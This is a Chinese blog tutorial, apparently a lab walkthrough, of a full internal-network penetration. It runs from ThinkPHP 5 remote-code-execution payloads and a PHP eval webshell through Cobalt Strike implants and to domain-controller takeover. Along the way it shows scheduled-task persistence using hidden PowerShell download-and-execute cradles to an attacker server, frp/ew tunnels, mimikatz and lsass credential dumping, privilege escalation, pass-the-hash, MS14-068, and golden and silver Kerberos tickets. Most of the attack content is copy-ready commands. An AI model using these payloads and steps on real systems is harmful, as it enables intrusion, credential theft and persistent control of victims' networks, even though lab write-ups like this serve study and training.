内网渗透初探(二) | 内网渗透全过程重新学习
ajie WEB安全 20161浏览 · 2021-11-25 14:31

一、前言

前面写了一篇内网渗透初探(一),写的不是特别好,然后也是在学习内网渗透相关的东西,就将其整理了一下,加了自己的思路,写好这篇内网渗透初探(二)~

二、环境介绍

专门做了个拓扑图,首先外网打点,然后内网穿透,进域内,攻击域主机2、域主机1,通过pth、ptt的方式拿下域控。

三、外网打点

1、打开站点,为thinkphp默认页,版本为tp5

2、尝试几个EXP后,成功执行命令

http://192.168.31.32/public/index.php?s=captcha

[post]
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo


3、简单判断系统为Windows

http://192.168.31.32/public/index.php?s=captcha

[post]
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ipconfig


4、获取当前目录路径

http://192.168.31.32/public/index.php?s=captcha

[post]
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=chdir


5、在当前目录写入一句话木马123.php

http://192.168.31.32/public/index.php?s=captcha

[post]
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php eval($_REQUEST[1])?>" >123.php


6、测试代码执行
http://192.168.31.32/public/123.php?1=phpinfo();;)

7、蚁剑连接

8、上传CS马123.exe

9、执行并上线

四、权限维持

(一)、设置延迟时间

单独拎出来是因为之前有的人问我为什么他执行的命令要等好久才有响应,这里大概说明一下。CS作为红队协作工具,具有服务端和客户端,目标主机和服务器默认60秒通信一次,也是作为一定的隐蔽而存在的,所以一般我会设置为sleep 2,不快不慢刚刚好。

(二)、进程迁移

1、首先查看进程列表

2、选择需要注入的进程并点击inject进行注入(进程可以选择一些比较常见的,不会常关闭的进程,如explorer.exe)

3、然后便可以获取一个基于explorer.exe的shell

(三)、启动项

1、将需要执行的exe文件复制到启动文件夹下即可。
复制到的路径是windows启动路径,当系统重启之后,会默认运行里面的程序

shell copy "123.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"


有条件的话,可以将快捷方式放过去,将木马隐藏在某文件夹下,命名为win.exe或system.exe,也算是做了一层隐蔽。

(四)、计划任务

1、生成powershell上线语句

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:10081/a'))"

2、运行语句即会上线CS

3、设置计划任务(每隔一个小时,以system权限执行命令)

其他启动时间参数
/sc onlogon  用户登录时启动
/sc onstart  系统启动时启动
/sc onidle   系统空闲时启动
shell schtasks /create /tn win /sc HOURLY /mo 1 /tr "powershell.exe -nop -w hidden -c 'IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:10081/a'))'" /ru system /f


4、启动计划任务

shell schtasks /run /i /tn "win"

5、设置计划任务(用户登录时启动)

shell schtasks /create /tn win1 /tr "powershell.exe -nop -w hidden -c 'IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:10081/a'))'" /sc ONLOGON
shell schtasks /create /sc MINUTE /mo 1 /tn win2 /tr "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:10081/a'))\""

6、删除计划任务

shell schtasks /delete /tn win2 /f

7、同样的,不仅仅可以放powershell语句,放木马文件路径也是一样的。

shell schtasks /create /tn win /sc HOURLY /mo 1 /tr "C:\Windows\Temp\123.exe" /ru system /f

五、主机信息收集

CS中shell+命令即可
//主机信息
systeminfo

//网络信息
ipconfig /all

//路由表
arp -a

//进程查AV
tasklist

//端口占用情况
netstat -ano

//是否域环境
net user /domain

//是否出网
ping baidu.com -n 2



抓取浏览器保存的密码,以及横向目标主机
https://github.com/QAX-A-Team/BrowserGhost
上传并执行

六、隧道搭建

(一)、ew

1、先传入ew软件

2、服务器上执行如下命令

./ew_for_linux64 -s rcsocks -l 1080 -e 8888


3、受害机器上执行如下命令

execute "E:\New File\WWW\phpStudy\WWW\public\ew.exe"  -s rssocks -d xx.xx.xx.xx -e 8888


4、设置连接服务器等socks即可


5、成功访问到内网

(二)、frp

下载地址
https://github.com/fatedier/frp/releases/tag/v0.38.0
1、服务器frps1.ini设置

[common]
bind_addr = 0.0.0.0
bind_port = 7080
token = admin123
dashboard_user = admin
dashboard_pwd = admin123

2、运行命令

./frps -c frps1.ini


3、将frpc.exe和frpc.ini上传到受害机

frpc.ini配置如下:

[common]
server_addr = IP
server_port = 7080
token = admin123
tls_enable=true
pool_count=5
[plugin_socks] 
type = tcp 
remote_port = 4567
plugin = socks5 
plugin_user = admin
plugin_passwd = admin123
use_encryption = true 
use_compression = true

4、运行命令

shell "C:\Windows\temp\frpc.exe -c C:\Windows\temp\frpc.ini"


5、在服务器上可以看到,已经有连接返回了

6、设置proxifier指向服务器,注意设置账号密码


7、成功访问到目标内网

七、横向移动1

1、前面获取了phpmyadmin的账号密码,尝试登录

2、获取数据库路径

select @@datadir;


3、在变量中也可以大概判断出一些路径信息

4、修改日志路径

5、通过查询一句话木马来写入到123.php中

select '<?php eval($_REQUEST[1]); ?>';


6、执行完后,尝试执行phpinfo成功

7、蚁剑连接

8、新建一个管理员用户,显示权限不足

9、这里先简单用potato提权,后面会列举几个提权方法

10、将用户添加到管理员组

八、内网信息收集

(一)、基础信息收集

1、检测获取的shell当前权限

whoami /user && whoami /priv


2、查询网络配置信息

ipconfig /all              // 本机IP等信息
arp -a                     // arp缓存
netstat -ano        //查询端口连接情况


重点关注一下DNS服务器,有可能就是当前所在域的域控



3、查询系统信息

systeminfo


4、其他信息收集可以使用脚本
http://www.fuzzysecurity.com/scripts/files/wmic_info.rar
直接执行即可

会在目录下新建一个out.html
打开里面即是收集到到信息

(二)、域内信息收集

查看当前登陆域
net config workstation

查询域用户
net user /domain

查询指定域用户详细信息
net user xxx /domain   

查询域控制器
net time /domain

获取域内用户详细信息
wmic useraccount get /all

查询域控制器主机名
nltest /DCLIST:god



1. 定位域控制器

1、基于ping主域来获取

ping xxx.cool -n 2


2、查询dns服务器

ipconfig /all


3、查询dns解析记录

nslookup -type=all _ldap._tcp.dc._msdcs.<域名>

2. 存活主机探测

基于netbios协议

工具: nbtscan
将nbtscan.exe上传到目标主机上

执行命令扫描当前主机所在C段

nbtscan-1.0.35.exe 192.168.30.0/24

基于ICMP协议

工具: ping命令
相当于使用ping来探测主机存活(特点就是慢。。。)

for /l %i in (1,1,255) do @ ping 192.168.30.%i -w 1 -n 1|find /i "ttl="

基于ARP协议

工具: arp-scan.exe
下载地址:
https://github.com/QbsuranAlang/arp-scan-windows-
将文件上传到目标主机上,执行如下命令:
arp-scan.exe -t 【ip/ip段】

九、提权

(一)、内核提权

查询安装的补丁情况,通过在线工具查询可能存在的内核提权

获取安装补丁的方法
1systeminfo
systeminfo | findstr KB

2wmic
wmic qfe get caption,description,hotfixid,installedon




复制补丁号进行查询
在线网站:
http://bugs.hacking8.com/tiquan/
https://i.hacking8.com/tiquan/
http://blog.neargle.com/win-powerup-exp-index/


exp下载地址也可以直接看github
https://github.com/Al1ex/WindowsElevation

(二)、potato提权

直接将potato exp工具拉到对应主机上,执行命令即可

potato.exe -p "需要执行的命令"

(三)、可信任服务路径漏洞提权

这个是一个windows路径解析的问题,如果一个服务的运行路径没有被双引号包裹,并且它的路径中包含有空格,那么就可能可以被利用,当服务运行的权限为system,那么相当于进行了提权。

正常要运行的是service.exe
解析顺序如下
C:\Program.exe
C:\Program files(x86)\test.exe
C:\Program files(x86)\test upload\service.exe

也就是可以在C盘更目录将木马文件命名为Program.exe;或者在C:\Program files(x86)\目录下将木马文件命名为test.exe就有可能获取到system权限或高权限的shell

探测漏洞是否存在可以通过命令:

wmic service get displayname,startmode,pathname|findstr /i "Auto" | findstr /i /v "C:\Windows\\"


假设这里使用vmtoolsd.exe为例,首先我在C:\Program Files\VMware\新建一个VMware.exe,这里我把calc.exe放进去,然后重启vmtoolsd.exe服务

(四)、计划任务提权

前面有提到,让某任务以高权限身份运行即可

schtasks /create /sc MINUTE /mo 1 /tn win2 /tr "C:\cmd.exe" /ru system /f

(五)、psexec提权

PsExec 是一个轻型的 telnet 替代工具,可以无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与控制台应用程序相当的完全交互性。PsExec 最强大的功能之一是在远程系统和远程支持工具(如 IpConfig)中启动交互式命令提示窗口,以便显示无法通过其他方式显示的有关远程系统的信息。

1、通过psexec获取一个system权限的cmd
使用方法:

psexec.exe -sid cmd.exe

十、横向移动2

(一)、获取Hash的几种方法

1、基于sam和system文件
导出sam和system文件

reg save hklm\system  system.hive
reg save hklm\sam sam.hive


使用mumitatz读取sam和system文件

lsadump::sam /sam:C:/1/sam.hive /system:C:/1/system.hive


2、mimikatz

mimikatz.exe privilege::debug sekurlsa::logonpasswords



3、procdump
下载地址:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

Procdump.exe -accepteula -ma lsass.exe lsass.dmp


然后在当前目录下会生成一个lsass.dmp文件

通过mimikatz分析文件获取hash

privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full


4、使用powershell
先在服务器新建一个python web服务,位置为PowerSploit

在受害机下载脚本并执行

IEX(New-Object Net.WebClient).DownloadString("http://vps-ip:4545/Exfiltration/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -DumpCreds

(二)、pth的几种方法

前面已经获取了域控制器的hash,那么可以通过hash进行pth攻击

输入log可以生成日志,方便复制粘贴

* NTLM     : f1de694efa543bb780da59c049541ea3

1、使用mimikatz进行pth

sekurlsa::pth /user:administrator /domain:"xxx.cool" /ntlm:f1de694efa543bb780da59c049541ea3


执行完后弹出一个具有域控权限的cmd

具体可以查看前一篇文章,内网渗透初探

2、使用Crackmapexec
kali下进行安装

apt-get install crackmapexec

输入如下命令即可

IP :可以是单个IP也可以是IP段
-u :指定用户名
-H :指定NTLM Hash
-d :指定域
-x :执行系统命令

crackmapexec smb 192.168.30.128 -u administrator -H f1de694efa543bb780da59c049541ea3 -d xxx.cool -x whoami

可以看到返回了域控的管理员

crackmapexec smb 192.168.30.128 -u administrator -H f1de694efa543bb780da59c049541ea3 -d xxx.cool -x ipconfig

可以看到执行结果,ip为域控IP

3、使用impackt工具包
下载地址:
https://github.com/SecureAuthCorp/impacket
这里简单列举几个
wmiexec.py

python3 wmiexec.py -hashes 00000000000000000000000000000000:f1de694efa543bb780da59c049541ea3 Administrator@192.168.30.128


psexec.py

python3 psexec.py -hashes 00000000000000000000000000000000:f1de694efa543bb780da59c049541ea3 Administrator@192.168.30.128


smbclient.py

python3 smbclient.py -hashes 00000000000000000000000000000000:f1de694efa543bb780da59c049541ea3 xxx.cool/Administrator@192.168.30.128


可以执行很多操作

十一、PTT(票据传递)

(一)、MS14-068


需要条件:

域内普通用户SID
域内普通用户密码

下载地址:
https://github.com/Al1ex/WindowsElevation/tree/master/CVE-2014-6324
1、首先获取了一个域用户权限,在无法提权的情况下,获取用户名和SID

whoami /all

xxx\web S-1-5-21-3296092892-1320626564-2720975204-1105


2、上传ms14-068.exe,并执行下面的命令

ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器ip地址 -p 域成员密码

ms14-068.exe -u web@xxx.cool -s S-1-5-21-3296092892-1320626564-2720975204-1105 -d 192.168.30.128 -p 1234,abcd


如图成功生成了票据文件

3、将票据注入到内存中

kerberos::purge                      //清空当前机器中所有凭证如果有域成员凭证会影响凭证伪造
kerberos::list                       //查看当前机器凭证
kerberos::ptc TGT_xxx@domain.cache   //将票据注入到内存中


4、成功net user 到域控

5、删除票据之后显示拒绝访问

(二)、黄金票据

具体可以查看前一篇文章,内网渗透初探
1、在域控机器中,通过mimikatz输入命令获取krbtgt的hash值

privilege::debug
lsadump::dcsync /user:krbtgt


2、获取制作黄金票据需要的数据

Object Security ID   : S-1-5-21-3296092892-1320626564-2720975204
Hash NTLM: 31edc56a2302a25a2e9bee5f04abd659

原Object Security ID最后面有个-502是作为标识的,在制作时需要手动删除。

3、退出远程桌面,在攻击机通过mimikatz制作黄金票据。执行命令后会生成一个administrator.kiribi文件。

kerberos::golden /admin:administrator /domain:域名 /sid:SID号 /krbtgt:ntlm值 /ticket:生成的票据文件名.kiribi

kerberos::golden /admin:administrator /domain:xxx.cool /sid:S-1-5-21-3296092892-1320626564-2720975204 /krbtgt:31edc56a2302a25a2e9bee5f04abd659 /ticket:administrator.kiribi


4、制作完票据之后,先尝试获取域控的c盘的权限,无法获取。

5、通过mimikatz执行以下命令。

kerberos::purge                      //清空当前机器中所有凭证如果有域成员凭证会影响凭证伪造
kerberos::list                       //查看当前机器凭证
kerberos::ptt administrator.kiribi   //将票据注入到内存中


6、成功获取域控c盘权限。

(三)、白银票据

1、导出hash

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt




SID最后的500为标识符,这里不需要;计算机全名也就是mimikatz导出的username+域名

NTLM     : 75f490ed04ba66f04e0e947a185679bd
SID      : S-1-5-21-3296092892-1320626564-2720975204
计算机全名 :AD.xxx.cool

2、在攻击机上执行命令生成票据

kerberos::golden /domain:<域名> /sid:< SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<伪造的用户名> /ptt

kerberos::golden /domain:xxx.cool /sid:S-1-5-21-3296092892-1320626564-2720975204 /target:AD.xxx.cool /service:cifs /rc4:75f490ed04ba66f04e0e947a185679bd /user:admin123 /ptt

kerberos::list


3、前面读取域控文件内容如下

4、拿到权限后,可以有多个选择

1传马+计划任务执行
copy win.exe \\AD.xxx.cool\c$
sc \\AD.xxx.cool create bindshell binpath= "c:\win.exe"

2psexec.exe \\域控地址 cmd.exe

3其他。。。

我这里用方法2,成功获取了域控的system权限的cmd。

十二、参考链接

https://mp.weixin.qq.com/s/CsFvBkk29wiVIX5dy8omtA
https://mp.weixin.qq.com/s/nq3RTFQH_WpC2BfviMmtJw
https://mp.weixin.qq.com/s/l9x5pEX-0HvIB0HdNQL-aw
https://mp.weixin.qq.com/s/MtomFV5oKziT6_Zt1rBpKQ

17 条评论
某人
表情
可输入 255